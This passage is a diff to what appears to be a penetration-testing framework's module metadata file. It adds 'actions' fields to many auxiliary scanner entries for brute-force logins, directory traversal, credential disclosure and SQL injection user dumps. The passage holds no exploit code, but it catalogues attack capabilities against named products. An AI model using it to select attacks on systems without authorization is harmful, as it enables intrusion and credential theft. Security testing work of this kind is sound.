"auxiliary_scanner/http/prev_dir_same_name_file": { "name": "HTTP Previous Directory File Scanner", @@ -35041,7 +38584,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/radware_appdirector_enum": { "name": "Radware AppDirector Bruteforce Login Utility", @@ -35088,7 +38634,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/rails_json_yaml_scanner": { "name": "Ruby on Rails JSON Processor YAML Deserialization Scanner", @@ -35136,7 +38685,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/rails_mass_assignment": { "name": "Ruby On Rails Attributes Mass Assignment Scanner", @@ -35183,7 +38735,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/rails_xml_yaml_scanner": { "name": "Ruby on Rails XML Processor YAML Deserialization Scanner", @@ -35232,7 +38787,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/rdp_web_login": { "name": "Microsoft RDP Web Client Login Enumeration", @@ -35270,7 +38828,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/replace_ext": { "name": "HTTP File Extension Scanner", @@ -35317,7 +38878,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/rewrite_proxy_bypass": { "name": "Apache Reverse Proxy Bypass Vulnerability Scanner", @@ -35365,7 +38929,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/rfcode_reader_enum": { "name": "RFCode Reader Web Interface Login / Bruteforce Utility", @@ -35412,7 +38979,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/rips_traversal": { "name": "RIPS Scanner Directory Traversal", @@ -35461,7 +39031,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/riverbed_steelhead_vcx_file_read": { "name": "Riverbed SteelHead VCX File Read", @@ -35509,7 +39082,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/robots_txt": { "name": "HTTP Robots.txt Content Scanner", @@ -35556,7 +39132,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/rpyc_rce": { "name": "RPyC 4.1.0 through 4.1.1 Remote Command Execution", @@ -35597,7 +39176,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/s40_traversal": { "name": "S40 0.4.2 CMS Directory Traversal Vulnerability", @@ -35646,7 +39228,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/sap_businessobjects_user_brute": { "name": "SAP BusinessObjects User Bruteforcer", @@ -35693,7 +39278,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/sap_businessobjects_user_brute_web": { "name": "SAP BusinessObjects Web User Bruteforcer", @@ -35741,7 +39329,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/sap_businessobjects_user_enum": { "name": "SAP BusinessObjects User Enumeration", @@ -35788,7 +39379,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/sap_businessobjects_version_enum": { "name": "SAP BusinessObjects Version Detection", @@ -35835,7 +39429,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/scraper": { "name": "HTTP Page Scraper", @@ -35882,7 +39479,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/sentry_cdu_enum": { "name": "Sentry Switched CDU Bruteforce Login Utility", @@ -35929,7 +39529,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/servicedesk_plus_traversal": { "name": "ManageEngine ServiceDesk Plus Path Traversal", @@ -35976,7 +39579,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/sevone_enum": { "name": "SevOne Network Performance Management Application Brute Force Login Utility", @@ -36023,7 +39629,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/simple_webserver_traversal": { "name": "Simple Web Server 2.3-RC1 Directory Traversal", @@ -36074,7 +39683,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/smt_ipmi_49152_exposure": { "name": "Supermicro Onboard IPMI Port 49152 Sensitive File Exposure", @@ -36125,7 +39737,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/smt_ipmi_cgi_scanner": { "name": "Supermicro Onboard IPMI CGI Vulnerability Scanner", @@ -36175,7 +39790,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/smt_ipmi_static_cert_scanner": { "name": "Supermicro Onboard IPMI Static SSL Certificate Scanner", @@ -36215,7 +39833,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/smt_ipmi_url_redirect_traversal": { "name": "Supermicro Onboard IPMI url_redirect.cgi Authenticated Directory Traversal", @@ -36264,7 +39885,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/soap_xml": { "name": "HTTP SOAP Verb/Noun Brute Force Scanner", @@ -36311,7 +39935,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/sockso_traversal": { "name": "Sockso Music Host Server 1.5 Directory Traversal", @@ -36359,7 +39986,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/softing_sis_login": { "name": "Softing Secure Integration Server Login Utility", @@ -36415,7 +40045,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/splunk_web_login": { "name": "Splunk Web Interface Login Utility", @@ -36463,7 +40096,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/springcloud_directory_traversal": { "name": "Directory Traversal in Spring Cloud Config Server", @@ -36523,7 +40159,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/springcloud_traversal": { "name": "Spring Cloud Config Server Directory Traversal", @@ -36572,7 +40211,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/squid_pivot_scanning": { "name": "Squid Proxy Port Scanner", @@ -36620,7 +40262,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/squiz_matrix_user_enum": { "name": "Squiz Matrix User Enumeration Scanner", @@ -36668,7 +40313,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/support_center_plus_directory_traversal": { "name": "ManageEngine Support Center Plus Directory Traversal", @@ -36719,7 +40367,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/surgenews_user_creds": { "name": "SurgeNews User Credentials", @@ -36775,7 +40426,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/svn_scanner": { "name": "HTTP Subversion Scanner", @@ -36822,7 +40476,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/svn_wcdb_scanner": { "name": "SVN wc.db Scanner", @@ -36869,7 +40526,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/sybase_easerver_traversal": { "name": "Sybase Easerver 6.3 Directory Traversal", @@ -36920,7 +40580,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/symantec_brightmail_ldapcreds": { "name": "Symantec Messaging Gateway 10 Exposure of Stored AD Password Vulnerability", @@ -36969,7 +40632,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/symantec_brightmail_logfile": { "name": "Symantec Messaging Gateway 9.5 Log File Download Vulnerability", @@ -37021,7 +40687,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/symantec_web_gateway_login": { "name": "Symantec Web Gateway Login Utility", @@ -37068,7 +40737,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/syncovery_linux_login": { "name": "Syncovery For Linux Web-GUI Login Utility", @@ -37124,7 +40796,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/syncovery_linux_token_cve_2022_36536": { "name": "Syncovery For Linux Web-GUI Session Token Brute-Forcer", @@ -37181,7 +40856,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/synology_forget_passwd_user_enum": { "name": "Synology Forget Password User Enumeration Scanner", @@ -37241,7 +40919,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/thinvnc_traversal": { "name": "ThinVNC Directory Traversal", @@ -37293,7 +40974,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/titan_ftp_admin_pwd": { "name": "Titan FTP Administrative Password Disclosure", @@ -37340,7 +41024,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/title": { "name": "HTTP HTML Title Tag Content Grabber", @@ -37387,7 +41074,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/tomcat_enum": { "name": "Apache Tomcat User Enumeration", @@ -37437,7 +41127,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/tomcat_mgr_login": { "name": "Tomcat Application Manager Login Utility", @@ -37507,7 +41200,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/totaljs_traversal": { "name": "Total.js prior to 3.2.4 Directory Traversal", @@ -37558,7 +41254,21 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "CHECK", + "description": "Check if the target is vulnerable" + }, + { + "name": "DOWNLOAD", + "description": "Attempt to download a file" + }, + { + "name": "READ", + "description": "Attempt to print file content" + } + ] }, "auxiliary_scanner/http/tplink_traversal_noauth": { "name": "TP-Link Wireless Lite N Access Point Directory Traversal Vulnerability", @@ -37609,7 +41319,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/trace": { "name": "HTTP Cross-Site Tracing Detection", @@ -37658,7 +41371,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/trace_axd": { "name": "HTTP trace.axd Content Scanner", @@ -37705,7 +41421,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/tvt_nvms_traversal": { "name": "TVT NVMS-1000 Directory Traversal", @@ -37754,7 +41473,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/typo3_bruteforce": { "name": "Typo3 Login Bruteforcer", @@ -37801,7 +41523,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/vcms_login": { "name": "V-CMS Login Utility", @@ -37848,7 +41573,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/verb_auth_bypass": { "name": "HTTP Verb Authentication Bypass Scanner", @@ -37895,7 +41623,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/vhost_scanner": { "name": "HTTP Virtual Host Brute Force Scanner", @@ -37942,7 +41673,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/vicidial_multiple_sqli": { "name": "VICIdial Multiple Authenticated SQLi", @@ -38001,7 +41735,29 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "List Users - access_recordings method", + "description": "Queries username, password for COUNT users" + }, + { + "name": "List Users - agent_time_sheet method", + "description": "Queries username, password for COUNT users" + }, + { + "name": "List Users - agentcall_email method", + "description": "Queries username, password for COUNT users" + }, + { + "name": "List Users - modify_email_accounts method", + "description": "Queries username, password for COUNT users" + }, + { + "name": "List Users - user_stats method", + "description": "Queries username, password for COUNT users" + } + ] }, "auxiliary_scanner/http/wangkongbao_traversal": { "name": "WANGKONGBAO CNS-1000 and 1100 UTM Directory Traversal", @@ -38049,7 +41805,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/web_vulndb": { "name": "HTTP Vuln Scanner", @@ -38096,7 +41855,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/webdav_internal_ip": { "name": "HTTP WebDAV Internal IP Scanner", @@ -38143,7 +41905,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/webdav_scanner": { "name": "HTTP WebDAV Scanner", @@ -38190,7 +41955,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/webdav_website_content": { "name": "HTTP WebDAV Website Content Scanner", @@ -38237,7 +42005,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/webpagetest_traversal": { "name": "WebPageTest Directory Traversal", @@ -38286,7 +42057,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/wildfly_traversal": { "name": "WildFly Directory Traversal", @@ -38336,7 +42110,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/wordpress_content_injection": { "name": "WordPress REST API Content Injection", @@ -38389,7 +42166,17 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "LIST", + "description": "List posts" + }, + { + "name": "UPDATE", + "description": "Update post" + } + ] }, "auxiliary_scanner/http/wordpress_cp_calendar_sqli": { "name": "WordPress CP Multi-View Calendar Unauthenticated SQL Injection Scanner", @@ -38439,7 +42226,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/wordpress_ghost_scanner": { "name": "WordPress XMLRPC GHOST Vulnerability Scanner", @@ -38494,7 +42284,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/wordpress_login_enum": { "name": "WordPress Brute Force and User Enumeration Utility", @@ -38545,7 +42338,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/wordpress_multicall_creds": { "name": "Wordpress XML-RPC system.multicall Credential Collector", @@ -38595,7 +42391,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/wordpress_pingback_access": { "name": "Wordpress Pingback Locator", @@ -38647,7 +42446,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/wordpress_scanner": { "name": "Wordpress Scanner", @@ -38696,7 +42498,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/wordpress_xmlrpc_login": { "name": "Wordpress XML-RPC Username/Password Login Scanner", @@ -38745,7 +42550,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/wowza_streaming_engine_manager_login": { "name": "Wowza Streaming Engine Manager Login Utility", @@ -38801,7 +42609,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/wp_abandoned_cart_sqli": { "name": "Abandoned Cart for WooCommerce SQLi Scanner", @@ -38860,7 +42671,13 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "List Users", + "description": "Queries username, password hash for COUNT users" + } + ] }, "auxiliary_scanner/http/wp_arbitrary_file_deletion": { "name": "Wordpress Arbitrary File Deletion", @@ -38913,7 +42730,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/wp_bulletproofsecurity_backups": { "name": "Wordpress BulletProof Security Backup Disclosure", @@ -38973,7 +42793,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/wp_chopslider_id_sqli": { "name": "WordPress ChopSlider3 id SQLi Scanner", @@ -39033,7 +42856,13 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "List Users", + "description": "Queries username, password hash for COUNT users" + } + ] }, "auxiliary_scanner/http/wp_contus_video_gallery_sqli": { "name": "WordPress Contus Video Gallery Unauthenticated SQL Injection Scanner", @@ -39082,7 +42911,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/wp_dukapress_file_read": { "name": "WordPress DukaPress Plugin File Read Vulnerability", @@ -39133,7 +42965,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/wp_duplicator_file_read": { "name": "WordPress Duplicator File Read Vulnerability", @@ -39192,7 +43027,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/wp_easy_wp_smtp": { "name": "WordPress Easy WP SMTP Password Reset", @@ -39252,7 +43090,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/wp_email_sub_news_sqli": { "name": "WordPress Email Subscribers and Newsletter Hash SQLi Scanner", @@ -39312,7 +43153,13 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "List Users", + "description": "Queries username, password hash for COUNT users" + } + ] }, "auxiliary_scanner/http/wp_gimedia_library_file_read": { "name": "WordPress GI-Media Library Plugin Directory Traversal Vulnerability", @@ -39361,7 +43208,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/wp_learnpress_sqli": { "name": "Wordpress LearnPress current_items Authenticated SQLi", @@ -39423,7 +43273,13 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "List Users", + "description": "Queries username, password hash for COUNT users" + } + ] }, "auxiliary_scanner/http/wp_loginizer_log_sqli": { "name": "WordPress Loginizer log SQLi Scanner", @@ -39484,7 +43340,13 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "List Users", + "description": "Queries username, password hash for COUNT users" + } + ] }, "auxiliary_scanner/http/wp_mobile_pack_info_disclosure": { "name": "WordPress Mobile Pack Information Disclosure Vulnerability", @@ -39534,7 +43396,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/wp_mobileedition_file_read": { "name": "WordPress Mobile Edition File Read Vulnerability", @@ -39583,7 +43448,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/wp_modern_events_calendar_sqli": { "name": "WordPress Modern Events Calendar SQLi Scanner", @@ -39644,7 +43512,13 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "List Users", + "description": "Queries username, password hash for COUNT users" + } + ] }, "auxiliary_scanner/http/wp_nextgen_galley_file_read": { "name": "WordPress NextGEN Gallery Directory Read Vulnerability", @@ -39693,7 +43567,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/wp_paid_membership_pro_code_sqli": { "name": "Wordpress Paid Membership Pro code Unauthenticated SQLi", @@ -39751,7 +43628,13 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "List Users", + "description": "Queries username, password hash for USER_COUNT users" + } + ] }, "auxiliary_scanner/http/wp_registrationmagic_sqli": { "name": "Wordpress RegistrationMagic task_ids Authenticated SQLi", @@ -39810,7 +43693,13 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "List Users", + "description": "Queries username, password hash for COUNT users" + } + ] }, "auxiliary_scanner/http/wp_secure_copy_content_protection_sqli": { "name": "Wordpress Secure Copy Content Protection and Content Locking sccp_id Unauthenticated SQLi", @@ -39872,7 +43761,13 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "List Users", + "description": "Queries username, password hash for USER_COUNT users" + } + ] }, "auxiliary_scanner/http/wp_simple_backup_file_read": { "name": "WordPress Simple Backup File Read Vulnerability", @@ -39921,7 +43816,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/wp_subscribe_comments_file_read": { "name": "WordPress Subscribe Comments File Read Vulnerability", @@ -39971,7 +43869,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/wp_total_upkeep_downloader": { "name": "WordPress Total Upkeep Unauthenticated Backup Downloader", @@ -40031,7 +43932,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/wp_woocommerce_payments_add_user": { "name": "Wordpress Plugin WooCommerce Payments Unauthenticated Admin Creation", @@ -40091,7 +43995,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/wp_wps_hide_login_revealer": { "name": "WordPress WPS Hide Login Login Page Revealer", @@ -40150,7 +44057,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/xpath": { "name": "HTTP Blind XPATH 1.0 Injector", @@ -40197,7 +44107,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/yaws_traversal": { "name": "Yaws Web Server Directory Traversal", @@ -40246,7 +44159,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/zabbix_login": { "name": "Zabbix Server Brute Force Utility", @@ -40293,7 +44209,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/zenload_balancer_traversal": { "name": "Zen Load Balancer Directory Traversal", @@ -40350,7 +44269,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/zenworks_assetmanagement_fileaccess": { "name": "Novell ZENworks Asset Management 7.5 Remote File Access", @@ -40398,7 +44320,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/http/zenworks_assetmanagement_getconfig": { "name": "Novell ZENworks Asset Management 7.5 Configuration Access", @@ -40446,7 +44371,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ike/cisco_ike_benigncertain": { "name": "Cisco IKE Information Disclosure", @@ -40488,7 +44416,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/imap/imap_version": { "name": "IMAP4 Banner Grabber", @@ -40526,7 +44457,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ip/ipidseq": { "name": "IPID Sequence Scanner", @@ -40564,7 +44498,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ipmi/ipmi_cipher_zero": { "name": "IPMI 2.0 Cipher Zero Authentication Bypass Scanner", @@ -40607,7 +44544,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ipmi/ipmi_dumphashes": { "name": "IPMI 2.0 RAKP Remote SHA1 Password Hash Retrieval", @@ -40650,7 +44590,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ipmi/ipmi_version": { "name": "IPMI Information Discovery", @@ -40689,7 +44632,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/jenkins/jenkins_udp_broadcast_enum": { "name": "Jenkins Server Broadcast Enumeration", @@ -40728,7 +44674,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/kademlia/server_info": { "name": "Gather Kademlia Server Information", @@ -40766,7 +44715,17 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "BOOTSTRAP", + "description": "Use a Kademlia2 BOOTSTRAP" + }, + { + "name": "PING", + "description": "Use a Kademlia2 PING" + } + ] }, "auxiliary_scanner/kerberos/kerberos_login": { "name": "Kerberos Authentication Check Scanner", @@ -40814,7 +44773,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ldap/ldap_login": { "name": "LDAP Login Scanner", @@ -40861,7 +44823,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/llmnr/query": { "name": "LLMNR Query", @@ -40899,7 +44864,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/lotus/lotus_domino_hashes": { "name": "Lotus Domino Password Hash Collector", @@ -40946,7 +44914,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/lotus/lotus_domino_login": { "name": "Lotus Domino Brute Force Utility", @@ -40993,7 +44964,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/lotus/lotus_domino_version": { "name": "Lotus Domino Version", @@ -41040,7 +45014,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/mdns/query": { "name": "mDNS Query", @@ -41078,7 +45055,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ 